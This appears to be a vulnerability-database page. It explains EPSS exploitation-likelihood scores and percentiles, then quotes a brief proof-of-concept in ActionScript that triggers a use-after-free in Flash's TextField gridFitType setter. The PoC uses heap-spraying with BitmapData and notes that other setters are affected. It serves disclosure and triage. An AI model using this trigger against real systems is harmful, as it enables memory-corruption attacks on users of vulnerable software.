EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

A PoC is below: var test = this.createTextField("test", 1, 0, 0, 100, 100); var n = {toString : func, valueOf : func}; test.gridFitType = n; function func(){ test.removeTextField(); for(var i = 0; i < 1000; i++){ var b = new flash.display.BitmapData(1000, 1000, true, 10); } trace("here"); return "natalie"; } A PoC and fla are attached. Some other setters (thickness, tabIndex, etc.) are also impacted by the same UaF condition, additional SWFs are attached.
